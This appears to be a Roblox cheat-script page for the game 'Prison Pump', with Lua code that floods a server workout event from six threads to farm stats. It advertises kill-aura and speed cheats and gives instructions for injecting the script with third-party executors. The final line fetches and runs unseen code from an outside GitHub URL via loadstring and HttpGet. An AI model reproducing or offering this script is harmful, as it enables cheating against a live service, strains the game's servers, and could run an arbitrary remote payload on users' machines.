Prison Pump Script Pastebin [UPD 1] (July 2025)

Script Features:

Here’s the full list of features that you get from Prison Pump scripts:

  • Kill Aura – Automatically attacks nearby enemies without aiming
  • Pick Up Items – Instantly grabs dropped items without clicking
  • Walkspeed – Increases movement speed for faster travel

Prison Pump Scripts:

local player = game:GetService("Players").LocalPlayer
local gen = require(workspace.Src.C)
local data = gen.Gen(player)

local enabled = false

game:GetService("UserInputService").InputBegan:Connect(function(input, gpe)
	if gpe then return end
	if input.KeyCode == Enum.KeyCode.Z then
		enabled = not enabled
		print("Boost Mode: " .. (enabled and "ON" or "OFF"))
	end
end)

--dah refresher
task.spawn(function()
    while true do
        local success, err = pcall(function()
            data = gen.Gen(player)
        end)
        if not success then warn("Refresh error: " .. err) end
        task.wait(5)
    end
end)


--I am about to explain how this script works, if you dont wanna hear that...
--then ignore it ig lol :3



--Ok if you dont know how to code this part CAN be a little bit confusing;
--So this is why we call the fire for the action of like increasing strength
--and we fire it to the server, telling it like a command
--think of as being on voice chat and you told your friend
--that you like jumped once. That act of you telling your friend you jumped
--is called a call, and that voice shat you are on is called a thread.
--you can tell the server in one thread, many many calls buy it might not be able
--to handle it. Thats why you have multiple threads so it can handle alot more
--calls.

--It is important that you know just how much your pc can handle or you tweak it
--just enough so that the server isnt overwhelmed and crashs your character :p


--6 threads, 8 calls each (48 per frame)
for t = 1, 6 do
    task.spawn(function()
        while true do
            if enabled then
                local success, err = pcall(function()
                    for i = 1, 8 do
                        game:GetService("ReplicatedStorage").WorkoutHandler_TriggerWorkoutGain:FireServer(data)
                    end
                end)
                if not success then
                    warn("Thread " .. t .. ": " .. err)
                end
            end
            task.wait(0.05) --can help stabilize it.
        end
    end)
end




--If you think that this is too confusing or that this script is trash, then
--you can alternatively use 0rya's script:
--Just make sure to (un)comment it out :D


--while true do
    --local success, err = pcall(function()
        --local player = game:GetService("Players").LocalPlayer
        --local data = require(workspace.Src.C).Gen(player)
        --game:GetService("ReplicatedStorage").WorkoutHandler_TriggerWorkoutGain:FireServer(data)
    --end)
    --if not success then warn(err) end
    --task.wait(0.00)
--end
loadstring(game:HttpGet("https://raw.githubusercontent.com/nmalka01/nmalka01/refs/heads/main/Imcool"))()

How to use scripts?

Follow the steps to execute Prison Pump scripts:

  • Download a Script Executor – I only recommend MacSploit, AWP.GG, Delta, Fluxus, or Codex.
  • Attach the Executor – Connect the tool to the game process.
  • Paste the Script – Load and execute the Lua script inside the game.
  • Activate Features – Tap the execute icon to use the injected script for custom actions.

Game Details:

  • Name: Prison Pump
  • Developer: The Gang Stockholm
  • Maturity: Minimal
  • Genre: Simulation
  • Subgenre: Incremental Simulator